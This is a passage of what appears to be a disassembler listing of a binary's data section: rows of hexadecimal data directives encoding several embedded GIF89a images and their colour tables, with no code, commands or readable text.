0E6E5E4E3h, 0EAE9E8E7h, 0EEEDECEBh, 0F2F1F0EFh dd 52F2F4F3h, 655F5852h, 606882DCh, 88E4A54h, 0A0B0481Ch dd 130883C1h, 0B0C85C2Ah, 1087C3A1h, 489C4A23h, 8B922231h dd 2978A44Ch, 999045D3h, 8E512Dh, 0A4B24919h, 532893C9h dd 0B2C95CAAh, 3097CBA5h, 499CCA63h, 20CD66B3h, 4984AC4Ah dd 48A411E3h, 0A83409Bh, 0A8B44A1Dh, 9126A3D1h, 0A6830148h dd 50A44867h, 4A9D4AA3h, 2F52AAB5h, 0AD3E3EFCh, 0D7ABB5CAh dd 44915FAFh, 0E9C662D9h, 0D368B04Fh, 0F2FB5DAAh, 0FEB2D8C8h dd 659EB47Fh, 0DDAEB74Bh, 9AC96EAEh, 0AFB7CBBDh, 0E179A1DFh dd 0B84BFDCAh, 819561B0h, 0CC5E1EF7h, 0B8E26FD8h, 9E4B1B3Eh dd 60F1F6BCh, 533398CAh, 0B3591CB5h, 2D44CFE7h, 0E462816Bh dd 0A8D3E987h, 0CD5EAB53h, 0D7EBB5BAh, 9ECB63B0h, 0EDB6BB4Dh dd 1B73B8DBh, 6E05A281h, 4A2E1E16h, 0BC4E1880h, 0C8E3F1B8h dd 0CE5F2B93h, 0E7F3B9BCh, 9F4BA3D0h, 0F5BABD4Eh, 64782E12h dd 47057411h, 0C21C118Bh, 0BE4F1F8Bh, 0E8F3F9BCh, 0CF5FABD3h dd 0F7FBBDBEh, 9FCBE3F0h, 0B447F4Fh, 5504571Ch, 4402B1A9h dd 600FF86h, 480E028h, 81E06816h, 0E0A82608h, 0E8360C82h dd 461083E0h, 2B082128h, 7E8550D4h, 0C1D0A434h, 0E8761C05h dd 862087E1h, 2488E228h, 89E26896h, 0E2A8A628h, 0E8B62C8Ah dd 0A41D8BE2h, 7F85C340h, 0A03314Ch, 0E3A0581Bh, 0E8F63C8Eh dd 6408FE3h, 4490E429h, 91E46916h, 0A9FE2648h, 364C92E4h dd 330A01B9h, 13C8214Ch, 0C1709032h, 0A9665804h, 765C96E5h dd 6097E5E9h, 98E62986h, 0E6699664h, 0A9A66899h, 90179AE6h dd 8213C320h, 9030138h, 0E7604416h, 0A9E6789Dh, 0F67C9EE7h dd 809FE7E9h, 0A0E82A06h, 0E86A1684h, 6A2688A1h, 38300901h dd 2F134821h, 3413080h, 0E96A5694h, 0AA6698A5h, 769CA6E9h dd 0A0A7E9EAh, 0A8EA2A86h, 0EA6A96A4h, 0F08013A9h, 2C821342h dd 110782E1h, 0ACEB202Ch, 0EB6AD6B4h, 0AAE6B8ADh, 0F6BCAEEBh dd 0C0AFEBEAh, 0B0EC2B06h, 811B16C4h, 212C2E07h, 642C1148h dd 0D00200E0h, 0B4ED2B46h, 0ED6B56D4h, 0AB66D8B5h, 76DCB6EDh dd 0E0B7EDEBh, 0B8EE2B86h, 42C0640Eh, 0C10C8211h, 1C0C0602h dd 0F0BBEEE0h, 0BCEF2BC6h, 0EF6BD6F4h, 0ABE6F8BDh, 0F6FCBEEFh dd 0BFEFEBh, 600CC07h, 0AE910C2Ch, 4020140Ah, 370CC2C0h dd 10C3F0ECh, 0C4F12C47h, 6C57FE14h, 6718C5F1h, 1CC6F1ACh dd 271EC77h, 0F060A815h, 30A4421Fh, 0A40301C1h, 2CCAF2ACh dd 0CBF2ECB7h, 0F32CC730h, 6CD734CCh, 0E738CDF3h, 3CCEF3ACh dd 0AC16023h, 0C2810B23h, 6D1402C9h, 2748D1F4h, 4CD2F4ADh dd 0D3F4ED37h, 0F52D4750h, 6D5754D4h, 0F57D5F5h, 0CACFC0A0h dd 943E1FEh, 0C000180Fh, 6D9764D8h, 0A768D9F6h, 6CDAF6ADh dd 0DBF6EDB7h, 0F72DC770h, 4DD774DCh, 24040077h, 0E9AAC1A0h dd 17090AEh, 0F82E0780h, 6E1784E0h, 2788E1F8h, 8CE2F8AEh dd 0E3F8EE37h, 792E4790h, 402407E4h, 0DC360981h, 1F0BE8F0h dd 0E7EA7048h, 0FA2E87A0h, 6E97A4E8h, 4810A57Ah, 31094170h dd 17083124h, 0DD670442h, 6ED7B4ECh, 0E7B8EDFBh, 2170FBAEh dd 0B827090h, 48411036h, 21345C1Ah, 27C80E44h, 0CCF2FCAFh dd 0F3FCEF37h, 0FD2F47D0h, 6F57D4F4h, 67D8F5FDh, 3BF63DAFh dd 883D108h, 2F849F13h, 97E4F8FEh, 0E8F9FE6Fh, 0FAFEAFA7h dd 8121BECh, 3B00h, 0 dd 38464947h, 0B6139h, 180000Bh, 4EE49500h, 21FFFFFFh dd 0A0104F9h, 2C000100h, 0 dw 0Bh dw 0Bh dw 200h dw 8C11h aBhiAaZGi8s db 'h›Íí œ´Z',1Bh,'êƒë8S',0 dd 3B00h, 0 dd 38464947h, 2926139h, 0AE30081h, 0F2ECE100h, 0E8F5F0E8h dd 0F5EFF5F1h, 0FBF9F6F8h, 0F8FCFAF8h, 0FDFCFCFBh, 0FEFEFDFEh dd 0FFFEFEFEh, 4 dup(0FFFFFFFFh), 4F921FFh, 0F000A01h dd 2C00h, 2920000h, 4000081h, 49A810FEh, 0EB38BDABh, 60FFBBCDh dd 69648E28h, 0AEAA689Eh, 70BEEB6Ch, 0AF4CF2Ch, 0EFAE7548h dd 0C0FFEF7Ch, 2C4870A0h, 0A3B7371Ah, 3A6CC972h, 74A8D09Fh dd 0AF524BCAh, 0CB76ACD8h, 0D6A77AEDh, 2E4C78AFh, 6868CF9Bh dd 0BB6ECD38h, 7A78F0DFh, 0EFDBAF2Dh, 45DEBCF8h, 80FFFBDFh dd 7D688281h, 88878683h, 853D8A89h, 908F8E8Bh, 8D159291h dd 98979693h, 9A956F99h, 0A09F9E9Dh, 0A4A19C4Fh, 30A7A6A5h dd 0ACABA8A3h, 0AA16AEADh, 0B4B3B2AFh, 0B8B5B198h, 0B781BAB9h dd 0C0BFBEBBh, 0C4C1BD6Ch, 0C357C6C5h, 0CCCBCAC7h, 0D0CDC942h dd 387CD2D1h, 0D8D7D6D3h, 0DCD9CF2Dh, 0DEDBD8DDh, 0E0CAE2E1h dd 0BAE7E6E3h, 0ECEBE8E5h, 0F0EDEAACh, 0F2EF9EF1h, 0F490F6F5h dd 82FBFAF7h, 0FFFCF9h, 480BF8EDh, 6AA120B0h, 0D42A1306h dd 0C3A17033h, 421A5187h, 88B1489Ch, 33188AC4h, 0B1A8B8EEh dd 0FE6A47A3h, 348A431Fh, 0C9A471C2h, 0A2104893h, 9B52C95Ch dd 633096CAh, 0B329288Eh, 369A4666h, 0A9C44273h, 9E4267B3h dd 402833Eh, 3DE8B42Ah, 0C29346A2h, 0E9B4AA43h, 0A34EA639h dd 0B52A837Ah, 56AA35EAh, 0AAC342B3h, 0AE31EBB5h, 302C35Eh dd 2E6CB62Bh, 0CAD366B2h, 0EDB6AB42h, 0E36EB62Ah, 0B72B8292h dd 76BA276Eh, 0ABC25AF3h, 0BE23EFB7h, 223037Eh, 0AF30B82Ch dd 0EF138697h, 0B1B8AC22h, 238EC440h, 0B92C62BBh, 96C81CF2h dd 0ACA28733h, 0CE17B3B9h, 167439Eh, 14B4BA2Dh, 3753A6D2h dd 35BAAD41h, 63AECC49h, 0BB2D6203h, 0B6D82336h, 0ADA1D773h dd 0DE0C77BBh, 0B383BEh, 9F8BC2Eh, 8B93C6E2h, 79BCAE40h dd 0A3CEE607h, 0BD2E8063h, 0D6EA04FAh, 0EECF63A5h, 0E5773B7Ch dd 0F1BBFDEh, 0F9385E2Fh, 0A3CFBEF2h, 0BD7EADD7h, 65EEF6EDh dd 7AEF8FC3h, 0F6D57D3Eh, 0AFCE9BEFh, 0FEFF345Fh, 7CAFD9Eh dd 0E0266A0h, 6815968h, 8260864Ah, 0A0C82D8Eh, 683E0E62h dd 0A128458h, 7E856146h, 5EA1885Dh, 57686E1Ah, 5CA1E87h dd 8D6E8862h, 265AA248h, 8A56689Eh, 62C58A2Ah, 8BD5E8Bh dd 0CE3256A3h, 368D5568h, 8E63854Ah, 0A3C8ED4Eh, 68FE3E52h dd 0A429054h, 3E916445h, 4EA4891Dh, 53692E4Ah, 4CA4E93h dd 4D309465h, 374B2549h, 85657020h, 0C060DC09h, 161296h dd 800203C0h, 0F0060F9h, 0C0003Ch, 0C0381A66h, 20026998h dd 0B4070100h, 401DF19h, 9A670008h, 0E7E0DE71h, 2A06809Fh dd 1684A0E8h, 88A1E86Ah, 0A2E8AA26h, 0E8EA368Ch, 2A4690A3h dd 5694A4E9h, 98A5E96Ah, 0A6E9AA66h, 0E9EA769Ch, 103E7CA3h dd 3B0001h, 0 dd 38464947h, 2926139h, 1D84001Ah, 0E0E0E000h, 0E2E1E1E1h dd 0E3E3E2E2h, 0E4E4E4E3h, 0E6E6E6E5h, 0E7E7E6E6h, 0E8E8E7E7h dd 0E9E9E9E8h, 0EAEAE9E9h, 0F2ECE1EAh, 0E8EBEBEBh, 0EDE6EDECh dd 0F0EDE7F0h, 0E7ECECECh, 0EFEFF1EDh, 0F0F0F0EFh, 0F2F1F1F1h dd 0F3F3F2F2h, 0F4F4F4F3h, 0F6F5F5F5h, 0F7F7F6F6h, 0F8F8F8F7h dd 2 dup(0FFFFFFFFh), 4F921FFh, 1F000A01h, 2C00h, 2920000h dd 500001Ah, 7E27E0FEh, 689E694Ch, 0EB6CAEAAh, 0CF2C70BEh dd 78DF6D74h, 0EF7CEFAEh, 70A0C0FFh, 6F1A2C48h, 81E311A3h dd 0D09E0018h, 0AD4A74A8h, 0ACD8AF5Ah, 7AEDCB76h, 78B0E0BFh dd 0CF9B2E4Ch, 0CD7AB4E8h, 0F0DFBB6Eh, 60F100EEh, 0BC811D28h dd 0FBEFCF7Eh, 828180FFh, 86858483h, 8A898887h, 8E8D8C8Bh dd 9291908Fh, 96959493h, 9A999897h, 1F760E8Dh, 0A2A10210h dd 0A6A5A4A3h, 0AAA9A8A7h, 0AEADACABh, 0B2B1B0AFh, 0B6B5B4B3h dd 0BAB9B8B7h, 0BEBDBCBBh, 0C2C1C0BFh, 92412B7h, 0CAC9C803h dd 0CECDCCCBh, 0D2D1D0CFh, 0D6D5D4D3h, 0DAD9D8D7h, 0DEDDDCDBh dd 0E2E1E0DFh, 0E6E5E4E3h, 0DEE9E8E7h, 4052509h, 0F2F1F0EFh dd 0F6F5F4F3h, 0FAF9F8F7h, 0FEFDFCFBh, 0A0300FFh, 0A0B0481Ch dd 130883C1h, 0B0C85C2Ah, 1087C3A1h, 6128160Bh, 8BC5A2A0h dd 0DC6A3318h, 0C7A3B1C8h, 8A43208Fh, 0A4B2491Ch, 0FE2893C9h dd 0C95CAA53h, 97CBA5B2h, 9CCA6330h, 0CDA6B349h, 0E80E2596h dd 0A7B3C9DCh, 83409FCFh, 0B44A1D0Ah, 48A3D1A8h, 0CA5D2A93h dd 0A7D3A9B4h, 9D4AA350h, 0D5AAB54Ah, 6AB358ABh, 84B52ADDh dd 0C360AF82h, 0B64B1D8Ah, 68B3D9ACh, 0CB5DAAD3h, 0B7DBADB6h dd 9DCAE370h, 0DDAEB74Bh, 0EAF378BBh, 0AFB7CBDDh, 0EF80BFDFh dd 0B8405896h, 88C3E1B0h, 0CC5E2B13h, 0C7E3B1B8h, 9E4B2390h dd 0E5B2B94Ch, 6B3398CBh, 0B3B9CCDEh, 43A0CFE7h, 0BA4D1E8Bh dd 0D12E734h, 0CD5EAB52h, 0D7EBB5BAh, 9ECB63B0h, 0EDB6BB4Dh dd 0EB73B8DBh, 0B7BBCDDEh, 83C0DFEFh, 0BC4E1F0Bh, 0C8E3F1B8h dd 5E0F2B93h, 0E7F38222h, 9F4BA3D0h, 0F5BABD4Eh, 6BB3D8EBh dd 0BBBDCEDFh, 0C3E0EFF7h, 0BE4F1F8Bh, 0E8F3F9BCh, 0CF5FABD3h dd 0F7FBBDBEh, 984C4BE6h, 0FDBEBF4Fh, 0EBF3F8FBh, 0BFBFCFDFh dd 600FFFFh, 480E028h, 81E06816h, 0A8FE2608h, 360C82E0h dd 1083E0E8h, 84E12846h, 2582E14h, 0A8661805h, 761C86E1h dd 2087E1E8h, 88E22886h, 0E2689624h, 0A8A62889h, 0B62C8AE2h dd 308BE2E8h, 8CE328C6h, 0E368D634h, 8E6388Dh, 0F4150963h dd 408FE3E8h, 90E42906h, 0E4691644h, 0A9264891h, 364C92E4h dd 5093E4E9h, 94E52946h, 0E5695654h, 0A9665895h, 765C96E5h dd 3C9565E9h, 98E6297Eh, 0E6699664h, 0A9A66899h, 0B66C9AE6h dd 459BE6E9h, 9CC16096h, 0E769D674h, 0A9E6789Dh, 0F67C9EE7h dd 809FE7E9h, 0A0E82A06h, 0E86A1684h, 0AA2688A1h, 368CA2E8h dd 90A3E8EAh, 0A4E92A46h, 0C25A2E94h, 0AA669805h, 769CA6E9h dd 0A0A7E9EAh, 0A8EA2A86h, 0EA6A96A4h, 0AAA6A8A9h, 0B6ACAAEAh dd 0B0ABEAEAh, 0ACEB2AC6h, 0EB6AD6B4h, 0AE6B8ADh, 0F6BAA5EBh dd 0C0AFEBEAh, 0B0EC2B06h, 0EC6B16C4h, 0AB26C8B1h, 6025A82Ch dd 0D0B3ECE0h, 0B4ED2B46h, 6B56FED4h, 66D8B5EDh, 0DCB6EDABh dd 0B7EDEB76h, 0EE2B86E0h, 6B96E4B8h, 0A6E8B9EEh, 0ECBAEEABh dd 0BBEEEBB6h, 0C19096E6h, 6BD6F4BCh, 0E6F8BDEFh, 0FCBEEFABh dd 0BFEFEBF6h, 0F02C0700h, 6C1704C0h, 2708C1F0h, 0CC2F0ACh dd 0C3F0EC37h, 0F12C4710h, 5C2F14C4h, 67180682h, 1CC6F1ACh dd 0C7F1EC77h, 0F22C8720h, 6C9724C8h, 0A728C9F2h, 2CCAF2ACh dd 0CBF2ECB7h, 0F32CC730h, 6CD734CCh, 0E738CDF3h, 3AC5F30Ch dd 0CFF3ECF7h, 0F42D0740h, 6D1744D0h, 2748D1F4h, 25C834ADh dd 0D3F4E06Ch, 0F52D4750h, 6D5754D4h, 6758D5F5h, 5CD6F5ADh dd 0D7F5ED77h, 0F62D8760h, 6D9764D8h, 0A768D9F6h, 6CDAF6ADh dd 0DBF6EDB7h, 0F70D3766h, 6DD774DCh, 0E778DDF7h, 7CDEF7ADh dd 0DFF7EDF7h, 25D5B80h, 6E178407h, 2788E1F8h, 8CE2F8AEh dd 0E3F8EE37h, 0F92E4790h, 6E5794E4h, 6798E5F9h, 9CE6F9AEh dd 0E7F9EE77h, 2E87A00Ch, 97A4E8FAh, 210339CEh, 3B0000h dd 0 aGif89ab db 'GIF89ab',0 dd 7BC6001Ch, 0B895A00h, 5B0C895Bh, 8A5C098Ah, 0F8B5D0Ah dd 5F088C5Dh, 9061088Eh, 8916308h, 641D9064h, 93651E91h dd 1B936708h, 68089567h, 94681994h, 8976924h, 6A19966Ah dd 986C2395h, 19996E19h, 72199B70h, 9E74199Ch, 399E7719h dd 7B40A17Bh, 0A27C41A2h, 3FA47F42h, 803EA57Fh, 0A6813DA5h dd 4AA6813Ch, 833CA882h, 0A88448A7h, 43A8843Ch, 873CAA86h dd 0AB883CABh, 3CAD894Ch, 8D49AC89h, 0B18F50AEh, 5EB0904Fh dd 915FB090h, 0B69556B2h, 5BB79755h, 9B67B89Ah, 0BB9C5CBBh dd 6BBA9E61h, 9E76BC9Dh, 0BDA277BDh, 74BDA272h, 0A370BEA2h dd 0C0A272BEh, 68C0A262h, 0A672BFA5h, 0C1A772C0h, 80C1A472h dd 0A874C2A7h, 0C1A872C2h, 81C1A77Eh, 0A972C3A9h, 0C5A86DC4h dd 8FC1AD68h, 0AB8FC2ABh, 0C9AE79C5h, 6ECAAE73h, 0B27FC9B0h dd 0C7B38FC7h, 92C8B190h, 0B678CEB4h, 0CFB490CBh, 74CFB473h dd 0B983CDB6h, 0CFBB93CDh, 77D3B997h, 0B988D1BAh, 0D3BA78D3h dd 79D4BA7Dh, 0BF9AD2BFh, 0D7C08DD5h, 9ED5C284h, 0C284D9C2h dd 0DAC385D9h, 92DAC488h, 0CAA2D8C6h, 0DEC9A5DBh, 99DECB94h dd 0CD99DFCDh, 0E0CDA9DEh, 9AE0CD99h, 0D19EE1CFh, 0E0D6ACE1h dd 0A8E4D3BBh, 0D5BCE1D7h, 0E4D5A9E4h, 0B5E8DAB0h, 0DBB7E8DAh dd 0EADDB6E8h, 0BCEADEBBh, 0E0C1EBDFh, 0FFFFC2EBh, 3 dup(0FFFFFFFFh) dd 4F921FFh, 7F000A01h, 2C00h, 620000h, 700001Ch, 827F80FEh dd 86858483h, 8A898887h, 8A8D8C8Bh, 76777A6Fh, 96959474h dd 9A999897h, 9E9D9C9Bh, 7A777697h, 7871866Fh, 6B6C6D72h dd 0AEADAC69h, 0B2B1B0AFh, 0B6B5B4B3h, 6D6C6BADh, 85717872h dd 63677079h, 0C6C56162h, 0CAC9C8C7h, 0CECDCCCBh, 6362C8CFh dd 85797067h, 5C5F6875h, 0DEDD585Ah, 0E2E1E0DFh, 0E6E5E4E3h dd 5C5AE0E7h, 8575685Fh, 545B6473h, 0F6F5F453h, 0FAF9F8F7h dd 0FEFDFCFBh, 90B654F9h, 8DC85399h, 124C2897h, 0B0C85C2Ah dd 1087C3A1h, 89C4A23h, 37178A31h, 5964D485h, 0C7A3A472h dd 8A43208Fh, 0A4B2491Ch, 972493C9h, 0C8535164h, 3B23154Ch dd 499CCA62h, 9BCDA6B3h, 0DCEA7338h, 1548D389h, 34CA8533h dd 0A8A321E1h, 9348A3D1h, 0B4CA5D2Ah, 4CA7D3A9h, 53293479h dd 19928C08h, 0DD6AB22Fh, 0D7ABB5CAh, 8AC360AFh, 86760B1Dh dd 0BA853012h, 0A2B18104h, 0FEB7DBADh, 9DCAE370h, 0DDAEB74Bh dd 46174BBh, 4AE852E9h, 229170Eh, 0B84C1E0Bh, 88C3E1B0h dd 8C5E2B13h, 2B8E45D8h, 50D0AC85h, 0E5B2A241h, 6B3398CBh dd 0B3B9CCDEh, 559CCFE7h, 4852B0D0h, 1D138C4Ah, 0CD5EAB52h dd 0D7EBB5BAh, 9ECB63B0h, 0C44FB0Dh, 0A08A8529h, 0B7A100B8h dd 83C0DFEFh, 0BC4E1F0Bh, 0C4E3F1B8h, 5228A02Fh, 0B098848h dd 9F4BA20Dh, 0F5BABD4Eh, 6BB3D8EBh, 82DD8EDFh, 7E852109h dd 0A0B0A894h, 0E8F3F9BCh, 0CF5FABD3h, 0F7FBBDBEh, 0F8942BECh dd 8C7C851h, 0EBF2080Ah, 0BFBFCFDFh, 600FFFFh, 80E028h dd 0F823052h, 0C210F485h, 0E8340704h, 461083E0h, 1484E128h dd 85E16856h, 42104E14h, 0F0E8850Fh, 84060441h, 2488E228h dd 89E26896h, 0E2A8A628h, 0F046288Ah, 0DC850E81h, 50381E0h dd 8DE368D4h, 0E3A8E638h, 0E8F63C8Eh, 3A3C8FE3h, 850DC1E0h dd 301C0E0h, 0A0970803h, 364C92E4h, 5093E4E9h, 94E52946h dd 393E54h, 50E01C03h, 482210C8h, 4040h, 98E62984h, 0E6699664h dd 0A9A66899h, 6649AE6h, 22048040h, 13C8510Ch, 80F0602Ch dd 0A9E40902h, 0F67C9EE7h, 809FE7E9h, 0A0E82A06h, 0F02A7Ch dd 51382C06h, 0B4441208h, 1A06C200h, 0A4E92064h, 0E96A5694h dd 0AA6698A5h, 4E9CA6E9h, 2006C1AAh, 120440B4h, 5012486h dd 0A0D43610h, 0B6ACAAEAh, 0B0ABEAEAh, 0ACEB2AC6h, 36AB6B4h dd 0E1245010h, 0F6BCAEC8h, 83AFEBEAh, 3B000204h, 38464947h dd 2836139h, 180001Eh, 0EADFCA00h, 21FFFFFFh, 0A0104F9h dd 2C000100h, 0 dd 1E0283h, 0CB00200h, 0EDCBA98Eh, 0B49CA30Fh, 0DEB38BDAh dd 860FFBBCh, 0E69648E2h, 0CA464289h, 0C70BEEB6h, 0F6D74CF2h dd 0CEFAE78Dh, 0C0FFEF7h, 0A2C4870Ah, 2A4C88F1h, 0F3A6CC97h dd 0A74A8D09h, 8AF5AAD4h, 0DCB76ACDh, 0E0BF7AEh, 0B2E4C78Bh dd 0AB4E8CF9h, 0FBB6ECD7h, 0E7CB8F0Dh, 8EFDBAF4h, 0FCF7EBCFh dd 180FFFBEh, 58483828h, 98887868h, 0D8C8B8A8h, 1908F8E8h dd 59493929h, 99897969h, 0D9C9B9A9h, 1A09F9E9h, 5A4A3A2Ah dd 9A8A7A6Ah, 0DACABAAAh, 1B0AFAEAh, 5B4B3B2Bh, 9B8B7B6Bh dd 0DBCBBBABh, 1C0BFBEBh, 5C4C3C2Ch, 0B70C7C6Ch, 0CCCBC82h dd 5014h, 3Bh, 0 dd 38464947h, 116139h, 0D6E70011h, 39260A00h, 154A3210h dd 42104931h, 45440E43h, 143C4B18h, 462E484Dh, 5B4A2862h dd 355F4D20h, 56173F50h, 44573B64h, 34745A2Dh, 6143755Ch dd 686D224Ch, 48647226h, 82398B6Ah, 8F843BA1h, 3F86786Ch dd 81518C87h, 0AA874DA2h, 4CA68264h, 894FA58Ah, 0A18C49A7h dd 51AA8A50h, 8D50A88Bh, 0A88E4DA8h, 407D9642h, 87798D95h dd 0A9915295h, 4DA79351h, 9256A795h, 0B2905CABh, 56B8905Dh dd 9653A895h, 0AB9657AAh, 49BF9163h, 9859A59Ch, 0BE9266A8h dd 65A28E7Eh, 995DBB94h, 0AA9E4DABh, 66BF9661h, 9765B696h dd 0AC9D5AC4h, 58AD9E57h, 966EA89Fh, 0B69B66C6h, 6CB79A6Ah dd 9D65BC9Ah, 0C3996FB3h, 5FC49873h, 0A357A6A1h, 0AFA15EAAh dd 58B0A357h, 0A45BACA4h, 0ABA165AAh, 68C49B72h, 0A75BAFA1h dd 0B1A6599Bh, 51AEA55Fh, 0A660B2AAh, 0B49B85AFh, 60A6A665h dd 0A666ADA7h, 0BAA36EADh, 62B1AB5Bh, 0A867A7AAh, 0CDA07FB7h dd 75B0AD5Eh, 0A37ABCA5h, 0C9A27DC6h, 73BEA578h, 0B157B4A8h dd 0D3A37BAEh, 93B3B158h, 0B35EB0A0h, 0C5A77790h, 63B5B25Fh dd 0AB74AAB2h, 0ACAF71C2h, 8AB4B560h, 0AE77CEA6h, 9CBA58B7h dd 6EC1A68Fh, 0B664B0B2h, 0A8B46BA6h, 6CB8B65Fh, 0A697A9B4h dd 0CBA986B6h, 8CCAAA86h, 0BB61D6A8h, 0ABB5739Ch, 61C9AD85h dd 0AD86B3BAh, 0BAB37BC8h, 6AB4B96Ah, 0AD8DB8BAh, 0B1B77CD3h dd 67AFBE66h, 0AE8FB7BDh, 0C1B1A2DAh, 8CB8C467h, 0B397C3B8h dd 0A6C07DD9h, 6EC8B891h, 0B794B9C4h, 0B6C27ACEh, 81B6C671h dd 0BE8DBDC1h, 9FC67CBCh, 70CEBA95h, 0BE90BBC7h, 0D2BA98BFh dd 73C3BE94h, 0BB9AB8C9h, 0D9BA9ED4h, 9EBCC38Ch, 0C786D8BBh dd 0C5C58DB5h, 78DBBDA2h, 0BEA7BDCFh, 0BBCF7CE1h, 87D2C3A3h dd 0D188BACFh, 0B1CF8FA7h, 84C1D184h, 0C6A4B9D2h, 0D7C5A7D2h dd 78BFD381h, 0C4AAB3D7h, 0E8C4ACDDh, 0A9B5D38Bh, 0C9A7D2C8h dd 0E3C5B1D0h, 8EC1D689h, 0CFA3C1D5h, 0ACDA90C7h, 0B8E6C9B7h dd 0DF8DE4CCh, 0D1D2B0B4h, 0B7EBCDB9h, 0CFBDE0D0h, 0E8D1BFE6h dd 0BADFD4BDh, 0E2A2D8D8h, 0DAD9BCC2h, 0A4C0E4A0h, 0DABCC2E3h dd 0D0DFB3D9h, 0C2B5EC98h, 0E9A4DCDCh, 0BBEBA2BEh, 0C9E7DCC7h dd 0ECA3F5DAh, 0F5DDCCBDh, 0A6D9E3C4h, 0EBCFBFF1h, 0E7EECFE5h dd 0BBE5F1D3h, 0F2D8C9FBh, 0CCFEC2EDh, 0FFCDFFC6h, 1Fh dup(0FFFFFFFFh) dd 4F921FFh, 0FF000A01h, 2C00h, 110000h, 8000011h, 9FF00FEh dd 0E62381Ch, 6153121h, 25081C2Ah, 0CF663297h, 164B4DA2h dd 3540A163h, 0E2D560ACh, 0AE96CBB5h, 2CDAD066h, 0D0E8320Ch dd 80C35F2Ah, 0E9F5EB19h, 30CB115h, 0B2C18025h, 4C251668h dd 0C2B9349Dh, 0A7126765h, 5B0203h, 0CB8992D9h, 50A153A5h dd 695449FDh, 0FF0BA907h, 0C180DC10h, 431E4A87h, 89ECE875h dd 0C91E494h, 39FE5340h, 0DC291A8h, 0B43C358Ah, 0C5D1B0F4h dd 4A1F9787h, 406808E4h, 0D894306h, 0F0A85842h, 744E380h dd 0C0662F24h, 8CE09009h, 0AC240F86h, 0E52268E8h, 68100AC8h dd 2594438h, 2215DFE0h, 79187226h, 930B2663h, 4CF04F22h dd 20416440h, 0AA344705h, 48134994h, 9B3F1C4Fh, 0B4810C5Ch dd 3E80E040h, 5208C28Ch, 2C94A924h, 8C9C5F51h, 8210A112h dd 3C9656A9h, 0AA058AA5h, 775A2350h, 0A08C2C08h, 6131D9CAh dd 2B2182BFh, 0C580C6C6h, 0FC6057Fh, 4D56A32Ch, 0DF10ADDAh dd 0A0783217h, 407BE0h, 3Bh, 0 aGif89at db 'GIF89aT',0 dd 15840017h, 0CFCFCF00h, 0DFD0D0D0h, 0E1E1DFDFh, 0E3E3E3E1h dd 0E5E4E4E4h, 0E6E6E5E5h, 0E7E7E7E6h, 0E9E8E8E8h, 0ECECE9E9h dd 0EEEEEEECh, 0F0EFEFEFh, 0F1F1F0F0h, 0F2F2F2F1h, 0F4F3F3F3h dd 0F5F5F4F4h, 0F6F6F6F5h, 8 dup(0FFFFFFFFh), 4F921FFh dd 1F000A01h, 2C00h, 540000h, 5000017h, 8E27E0FEh, 689E6964h dd 2A2CAEAAh, 0CF2C5440h, 78DF6D74h, 3090E7AEh, 70A0BB0Eh dd 440DCC48h, 0C9728990h, 0D09F3A6Ch, 554A74A8h, 0AC924442h dd 7AEDCB76h, 78B0E0BFh, 0CE4515BCh, 0CD7AB4E8h, 0F0DFBB6Eh dd 0A9091A78h, 0BCF8EFDBh, 0FBEFCF7Eh, 0F2276FFh, 86858483h dd 8A898887h, 858D8C8Bh, 92910E22h, 96959493h, 9A999897h dd 0D22939Bh, 0A2A1A09Fh, 0A6A5A4A3h, 0A1A9A8A7h, 0AEAD0C22h dd 0B2B1B0AFh, 0B6B5B4B3h, 0B22AFB7h, 0BEBDBCBBh, 0C2C1C0BFh dd 0BDC5C4C3h, 0CAC90A22h, 0CECDCCCBh, 0D2D1D0CFh, 922CBD3h dd 0DAD9D8D7h, 0DEDDDCDBh, 0D9E1E0DFh, 0E6E5E2D6h, 22DBE8E7h dd 0EEEDEC08h, 0F2F1F0EFh, 0F6F5F4F3h, 0FA0722EEh, 0FEFDFCFBh dd 0A0300FFh, 5F90481Ch, 130882BEh, 4FE85C2Ah, 10878184h dd 489C4A23h, 8BC5A2B1h, 14463318h, 0C780A031h, 8A43208Fh dd 0A4B2491Ch, 282893C9h, 10F91E3Dh, 97CBA520h, 0C866330h dd 800230h, 0EA733802h, 0A7B3C9DCh, 83409FCFh, 0A0001502h dd 48A3D185h, 108AE93h, 3B00h, 0 dd 38464947h, 146139h, 75C60011h, 9622D00h, 3B0A662Dh dd 76270F6Bh, 0B7A1A09h, 282F6E4Eh, 7B460A85h, 3E715B15h dd 6E6E696Bh, 8D4F6E6Eh, 0B9A3723h, 51259158h, 9B550D9Fh dd 26A4442Ah, 5010A256h, 0B51F0AA6h, 8989890Bh, 8C8A8A8Ah dd 90908C8Ch, 91909090h, 93929292h, 0BF2B9493h, 7B55213h dd 5B04C228h, 95950DB3h, 14B36395h, 6202C63Ah, 0C04811B9h dd 9BC5B19h, 5C05C24Bh, 9F9F23BEh, 22BF65A0h, 5904CF3Dh dd 0C66405CAh, 2D04E0Dh, 72A8A8A8h, 0CE6324C6h, 0ED15907h dd 6311CC6Dh, 0CC721AD0h, 54C38F17h, 0B401DB5Fh, 0CE88B4B4h dd 52C79736h, 0B51CD873h, 0B6B6B5B5h, 0B7B7B7B6h, 70B8B8B8h dd 0BBBB13E0h, 45D58FBBh, 8018E07Fh, 0D59822DFh, 1AE57D48h dd 0C113E879h, 0E687C2C1h, 0C4C4C425h, 0B021E88Ah, 0C8C878D6h dd 20ED87C8h, 84C9C9C9h, 0CBCB19F0h, 31EB94CBh, 0CE28EF91h dd 0F48ECECEh, 0CFCFCF1Fh, 9C5CE7AEh, 0D3D336F1h, 0D5D5D5D3h dd 0A944F2A5h, 0E6BE49F2h, 0D7D7D784h, 9C41F7A2h, 0E8C029FCh dd 2DFCA186h, 0B663F5B3h, 0F2C65DF6h, 0E3E3E387h, 0E47CF8C4h dd 0FDC0E4E4h, 6DFFC373h, 0CD67FFC6h, 0EAEA88FCh, 7BFFCDEAh dd 0ED7CFFCFh, 0FFD8EDEDh, 0EFEFEF8Eh, 0F3F2F2F2h, 0F4F4F3F3h dd 0FDFDFDF4h, 8 dup(0FFFFFFFFh), 4F921FFh, 7F000A01h dd 2C00h, 140000h, 7000011h, 827F80A7h, 3B488283h, 8A84363Ah dd 716E5282h, 70717273h, 4F57646Bh, 84193F4Dh, 75757466h dd 273D5C72h, 1F151618h, 544B3F2Dh, 147F3C52h, 9467475h dd 3D158A8Bh, 1A7F1758h, 0A7FBCB4h, 656A638Ah, 4E535D67h dd 26323E45h, 6F5F8B0Fh, 4061686Ch, 120E1120h, 1D21251Ch dd 884101Bh, 0BD05346Dh, 0BD041306h, 554ABCE7h, 4C51565Ah dd 